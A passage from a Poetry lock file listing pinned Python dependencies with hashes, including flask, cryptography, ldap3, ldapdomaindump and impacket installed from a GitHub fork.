"charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, 172 | {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, 173 | {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, 174 | {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, 175 | {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, 176 | {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, 177 | {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, 178 | {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, 179 | {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, 180 | {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, 181 | {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, 182 | {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, 183 | {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, 184 | {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, 185 | {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, 186 | {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, 187 | {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, 188 | {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, 189 | {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, 190 | {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, 191 | {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, 192 | {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, 193 | {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, 194 | {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, 195 | {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, 196 | {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, 197 | {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, 198 | {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, 199 | {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, 200 | {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, 201 | {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, 202 | {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, 203 | {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, 204 | {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, 205 | {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, 206 | {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, 207 | {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, 208 | {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, 209 | {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, 210 | {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, 211 | {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, 212 | {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, 213 | {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, 214 | {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, 215 | {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, 216 | {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, 217 | {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, 218 | ] 219 | 220 | [[package]] 221 | name = "click" 222 | version = "8.1.7" 223 | description = "Composable command line interface toolkit" 224 | optional = false 225 | python-versions = ">=3.7" 226 | groups = ["main"] 227 | files = [ 228 | {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, 229 | {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, 230 | ] 231 | 232 | [package.dependencies] 233 | colorama = {version = "*", markers = "platform_system == \"Windows\""} 234 | 235 | [[package]] 236 | name = "colorama" 237 | version = "0.4.6" 238 | description = "Cross-platform colored terminal text." 239 | optional = false 240 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" 241 | groups = ["main"] 242 | markers = "platform_system == \"Windows\"" 243 | files = [ 244 | {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, 245 | {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, 246 | ] 247 | 248 | [[package]] 249 | name = "cryptography" 250 | version = "42.0.8" 251 | description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." 252 | optional = false 253 | python-versions = ">=3.7" 254 | groups = ["main"] 255 | files = [ 256 | {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, 257 | {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"}, 258 | {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902"}, 259 | {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801"}, 260 | {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949"}, 261 | {file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9"}, 262 | {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583"}, 263 | {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7"}, 264 | {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2f66d9cd9147ee495a8374a45ca445819f8929a3efcd2e3df6428e46c3cbb10b"}, 265 | {file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d45b940883a03e19e944456a558b67a41160e367a719833c53de6911cabba2b7"}, 266 | {file = "cryptography-42.0.8-cp37-abi3-win32.whl", hash = "sha256:a0c5b2b0585b6af82d7e385f55a8bc568abff8923af147ee3c07bd8b42cda8b2"}, 267 | {file = "cryptography-42.0.8-cp37-abi3-win_amd64.whl", hash = "sha256:57080dee41209e556a9a4ce60d229244f7a66ef52750f813bfbe18959770cfba"}, 268 | {file = "cryptography-42.0.8-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:dea567d1b0e8bc5764b9443858b673b734100c2871dc93163f58c46a97a83d28"}, 269 | {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4783183f7cb757b73b2ae9aed6599b96338eb957233c58ca8f49a49cc32fd5e"}, 270 | {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0608251135d0e03111152e41f0cc2392d1e74e35703960d4190b2e0f4ca9c70"}, 271 | {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dc0fdf6787f37b1c6b08e6dfc892d9d068b5bdb671198c72072828b80bd5fe4c"}, 272 | {file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:9c0c1716c8447ee7dbf08d6db2e5c41c688544c61074b54fc4564196f55c25a7"}, 273 | {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fff12c88a672ab9c9c1cf7b0c80e3ad9e2ebd9d828d955c126be4fd3e5578c9e"}, 274 | {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cafb92b2bc622cd1aa6a1dce4b93307792633f4c5fe1f46c6b97cf67073ec961"}, 275 | {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:31f721658a29331f895a5a54e7e82075554ccfb8b163a18719d342f5ffe5ecb1"}, 276 | {file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14"}, 277 | {file = "cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c"}, 278 | {file = "cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a"}, 279 | {file = "cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe"}, 280 | {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c"}, 281 | {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71"}, 282 | {file = "cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d"}, 283 | {file = "cryptography-42.0.8-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5a94eccb2a81a309806027e1670a358b99b8fe8bfe9f8d329f27d72c094dde8c"}, 284 | {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dec9b018df185f08483f294cae6ccac29e7a6e0678996587363dc352dc65c842"}, 285 | {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:343728aac38decfdeecf55ecab3264b015be68fc2816ca800db649607aeee648"}, 286 | {file = "cryptography-42.0.8-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:013629ae70b40af70c9a7a5db40abe5d9054e6f4380e50ce769947b73bf3caad"}, 287 | {file = "cryptography-42.0.8.tar.gz", hash = "sha256:8d09d05439ce7baa8e9e95b07ec5b6c886f548deb7e0f69ef25f64b3bce842f2"}, 288 | ] 289 | 290 | [package.dependencies] 291 | cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} 292 | 293 | [package.extras] 294 | docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] 295 | docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] 296 | nox = ["nox"] 297 | pep8test = ["check-sdist", "click", "mypy", "ruff"] 298 | sdist = ["build"] 299 | ssh = ["bcrypt (>=3.1.5)"] 300 | test = ["certifi", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] 301 | test-randomorder = ["pytest-randomly"] 302 | 303 | [[package]] 304 | name = "dnspython" 305 | version = "2.6.1" 306 | description = "DNS toolkit" 307 | optional = false 308 | python-versions = ">=3.8" 309 | groups = ["main"] 310 | files = [ 311 | {file = "dnspython-2.6.1-py3-none-any.whl", hash = "sha256:5ef3b9680161f6fa89daf8ad451b5f1a33b18ae8a1c6778cdf4b43f08c0a6e50"}, 312 | {file = "dnspython-2.6.1.tar.gz", hash = "sha256:e8f0f9c23a7b7cb99ded64e6c3a6f3e701d78f50c55e002b839dea7225cff7cc"}, 313 | ] 314 | 315 | [package.extras] 316 | dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "sphinx (>=7.2.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] 317 | dnssec = ["cryptography (>=41)"] 318 | doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] 319 | doq = ["aioquic (>=0.9.25)"] 320 | idna = ["idna (>=3.6)"] 321 | trio = ["trio (>=0.23)"] 322 | wmi = ["wmi (>=1.5.1)"] 323 | 324 | [[package]] 325 | name = "flask" 326 | version = "3.0.3" 327 | description = "A simple framework for building complex web applications." 328 | optional = false 329 | python-versions = ">=3.8" 330 | groups = ["main"] 331 | files = [ 332 | {file = "flask-3.0.3-py3-none-any.whl", hash = "sha256:34e815dfaa43340d1d15a5c3a02b8476004037eb4840b34910c6e21679d288f3"}, 333 | {file = "flask-3.0.3.tar.gz", hash = "sha256:ceb27b0af3823ea2737928a4d99d125a06175b8512c445cbd9a9ce200ef76842"}, 334 | ] 335 | 336 | [package.dependencies] 337 | blinker = ">=1.6.2" 338 | click = ">=8.1.3" 339 | itsdangerous = ">=2.1.2" 340 | Jinja2 = ">=3.1.2" 341 | Werkzeug = ">=3.0.0" 342 | 343 | [package.extras] 344 | async = ["asgiref (>=3.2)"] 345 | dotenv = ["python-dotenv"] 346 | 347 | [[package]] 348 | name = "future" 349 | version = "1.0.0" 350 | description = "Clean single-source support for Python 3 and 2" 351 | optional = false 352 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 353 | groups = ["main"] 354 | files = [ 355 | {file = "future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216"}, 356 | {file = "future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05"}, 357 | ] 358 | 359 | [[package]] 360 | name = "idna" 361 | version = "3.10" 362 | description = "Internationalized Domain Names in Applications (IDNA)" 363 | optional = false 364 | python-versions = ">=3.6" 365 | groups = ["main"] 366 | files = [ 367 | {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, 368 | {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, 369 | ] 370 | 371 | [package.extras] 372 | all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] 373 | 374 | [[package]] 375 | name = "impacket" 376 | version = "0.12.0" 377 | description = "Network protocols Constructors and Dissectors" 378 | optional = false 379 | python-versions = "*" 380 | groups = ["main"] 381 | files = [] 382 | develop = false 383 | 384 | [package.dependencies] 385 | charset-normalizer = "*" 386 | flask = ">=1.0" 387 | ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" 388 | ldapdomaindump = ">=0.9.0" 389 | pyasn1 = ">=0.2.3" 390 | pyasn1-modules = "*" 391 | pycryptodomex = "*" 392 | pyOpenSSL = "24.0.0" 393 | pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} 394 | setuptools = "*" 395 | six = "*" 396 | 397 | [package.source] 398 | type = "git" 399 | url = "https://github.com/theporgs/impacket.git" 400 | reference = "HEAD" 401 | resolved_reference = "122a9af3044803987a56daebc1e001f2c8693920" 402 | 403 | [[package]] 404 | name = "itsdangerous" 405 | version = "2.2.0" 406 | description = "Safely pass data to untrusted environments and back." 407 | optional = false 408 | python-versions = ">=3.8" 409 | groups = ["main"] 410 | files = [ 411 | {file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"}, 412 | {file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"}, 413 | ] 414 | 415 | [[package]] 416 | name = "jinja2" 417 | version = "3.1.4" 418 | description = "A very fast and expressive template engine." 419 | optional = false 420 | python-versions = ">=3.7" 421 | groups = ["main"] 422 | files = [ 423 | {file = "jinja2-3.1.4-py3-none-any.whl", hash = "sha256:bc5dd2abb727a5319567b7a813e6a2e7318c39f4f487cfe6c89c6f9c7d25197d"}, 424 | {file = "jinja2-3.1.4.tar.gz", hash = "sha256:4a3aee7acbbe7303aede8e9648d13b8bf88a429282aa6122a993f0ac800cb369"}, 425 | ] 426 | 427 | [package.dependencies] 428 | MarkupSafe = ">=2.0" 429 | 430 | [package.extras] 431 | i18n = ["Babel (>=2.7)"] 432 | 433 | [[package]] 434 | name = "ldap3" 435 | version = "2.9.1" 436 | description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" 437 | optional = false 438 | python-versions = "*" 439 | groups = ["main"] 440 | files = [ 441 | {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, 442 | {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, 443 | ] 444 | 445 | [package.dependencies] 446 | pyasn1 = ">=0.4.6" 447 | 448 | [[package]] 449 | name = "ldapdomaindump" 450 | version = "0.9.4" 451 | description = "Active Directory information dumper via LDAP" 452 | optional = false 453 | python-versions = "*" 454 | groups = ["main"] 455 | files = [ 456 | {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, 457 | {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, 458 | {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"}, 459 | ] 460 | 461 | [package.dependencies] 462 | dnspython = "*" 463 | future = "*" 464 | ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" 465 | 466 | [[package]] 467 | name = "markdown-it-py" 468 | version = "3.0.0" 469 | description = "Python port of markdown-it. Markdown parsing, done right!" 470 | optional = false 471 | python-versions = ">=3.8" 472 | groups = ["main"] 473 | files = [ 474 | {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, 475 | {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, 476 | ] 477 | 478 | [package.dependencies] 479 | mdurl = ">=0.1,<1.0" 480 | 481 | [package.extras] 482 | benchmarking = ["psutil", "pytest", "pytest-benchmark"] 483 | code-style = ["pre-commit (>=3.0,<4.0)"] 484 | compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] 485 | linkify = ["linkify-it-py (>=1,<3)"] 486 | plugins = ["mdit-py-plugins"] 487 | profiling = ["gprof2dot"] 488 | rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] 489 | testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] 490 | 491 | [[package]] 492 | name = "markupsafe" 493 | version = "2.1.5" 494 | description = "Safely add untrusted strings to HTML/XML markup." 495 | optional = false 496 | python-versions = ">=3.7" 497 | groups = ["main"] 498 | files = [ 499 | {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a17a92de5231666cfbe003f0e4b9b3a7ae3afb1ec2845aadc2bacc93ff85febc"}, 500 | {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72b6be590cc35924b02c78ef34b467da4ba07e4e0f0454a2c5907f473fc50ce5"}, 501 | {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e61659ba32cf2cf1481e575d0462554625196a1f2fc06a1c777d3f48e8865d46"}, 502 | {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2174c595a0d73a3080ca3257b40096db99799265e1c27cc5a610743acd86d62f"}, 503 | {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae2ad8ae6ebee9d2d94b17fb62763125f3f374c25618198f40cbb8b525411900"}, 504 | {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:075202fa5b72c86ad32dc7d0b56024ebdbcf2048c0ba09f1cde31bfdd57bcfff"}, 505 | {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:598e3276b64aff0e7b3451b72e94fa3c238d452e7ddcd893c3ab324717456bad"}, 506 | {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fce659a462a1be54d2ffcacea5e3ba2d74daa74f30f5f143fe0c58636e355fdd"}, 507 | {file = "MarkupSafe-2.1.5-cp310-cp310-win32.whl", hash = "sha256:d9fad5155d72433c921b782e58892377c44bd6252b5af2f67f16b194987338a4"}, 508 | {file = "MarkupSafe-2.1.5-cp310-cp310-win_amd64.whl", hash = "sha256:bf50cd79a75d181c9181df03572cdce0fbb75cc353bc350712073108cba98de5"}, 509 | {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:629ddd2ca402ae6dbedfceeba9c46d5f7b2a61d9749597d4307f943ef198fc1f"}, 510 | {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b7b716f97b52c5a14bffdf688f971b2d5ef4029127f1ad7a513973cfd818df2"}, 511 | {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ec585f69cec0aa07d945b20805be741395e28ac1627333b1c5b0105962ffced"}, 512 | {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b91c037585eba9095565a3556f611e3cbfaa42ca1e865f7b8015fe5c7336d5a5"}, 513 | {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7502934a33b54030eaf1194c21c692a534196063db72176b0c4028e140f8f32c"}, 514 | {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0e397ac966fdf721b2c528cf028494e86172b4feba51d65f81ffd65c63798f3f"}, 515 | {file = 